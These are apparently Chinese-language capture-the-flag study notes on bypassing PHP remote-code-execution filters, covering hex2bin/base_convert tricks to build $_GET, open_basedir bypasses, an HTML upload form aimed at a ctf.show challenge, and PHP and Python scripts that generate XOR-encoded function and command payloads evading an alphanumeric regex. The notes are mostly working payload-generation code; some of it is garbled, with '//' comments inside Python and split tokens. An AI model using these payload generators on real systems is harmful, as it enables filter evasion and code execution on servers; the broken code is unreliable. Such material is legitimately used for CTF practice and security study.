base_convert(1231231131,10,36) ===>hex2bin
hex2bin(dechex(1598506324))=======>_GET
$hex2bin(dechex(1598506324))=======>$_GET
hackbar:可以对url进行各种编码操作,我们可以在endoding选项下进行url/16进制/base64进行编码解码,可以在xss选项下进行html实体编码,在sql选项下进行空格编码。
?(open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径,也可用符号”.”来代表当前目录。注意用open_basedir指定的限制实际上是前缀,而不是目录名。
)
? ? 1)传脚本绕过
? ? 2)ini_set('open_basedir','/');
? ? 3)
系统命令不受
open_basedir
的限制
10.无数字字符绕过
? ? ?1)构造POST数据包
? ? ?通过构造数据包,向目标服务器发送文件,文件已被保存到tmp目录下再根据保存的文件名的特 性(最后一个字母为大写),筛选文件,利用??.??执行。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
? ? 通过汉字或者一些不可见字符,进行异或,求与,取反等操作构建字母从而构建命令,最后显示
的结果是经过url编码的。
? ? 生成字符表脚本:
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w"); //以写的方式打开txt文件
$contents="";
for ($i=0; $i < 256; $i++) { //ascii码只占一个字节,所以设置最大数256
//两个for循环总共256*256中可能的情况
for ($j=0; $j <256 ; $j++) { //通过i,j来构造字母
if($i<16){ //ascii的前16个字符的十六进制应该是01,02,。。。。下面为了格式化
数字加上了0
$hex_i='0'.dechex($i); //dechex(十进制转换成十六进制)
}
else{
$hex_i=dechex($i); ///将所有的数字转换成十六进制
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($he x_j))){//过滤掉被匹配的字符
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) { //32到126是ascii码的所有可显示字符
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents); ///将我们得到的所有字符写入之前打开的文件
fclose($myfile);//关闭文件
? ??利用字符表生成我们需要的命令:
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg): //定义action函数
s1="" //用于异或的第一个字符串
s2="" //用于异或的第二个字符串
for i in arg: //i表示arg的一个字符
f=open("xor_rce.txt","r") //打开php脚本生成的xor_rce.txt
while True:
t=f.readline() //一行一行读取文件
if t=="": //读取完毕就结束
break
if t[0]==i: //t[0]也就是文件中的第一列,32-126个可显示的ascii码字符
#print(i)
s1+=t[2:5] //截取i所在行第3列到第5列表示第一个字符串
s2+=t[6:9] ///截取i所在行第7列到第9列表示第二个字符串
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")" ///对两个字符串进行异或
return(output)
while True:
//我们输入的函数和命令被作为arg
param=action(input("\n[+] your function:") )+action(input("[+] your comma nd:"))+";"
print(param)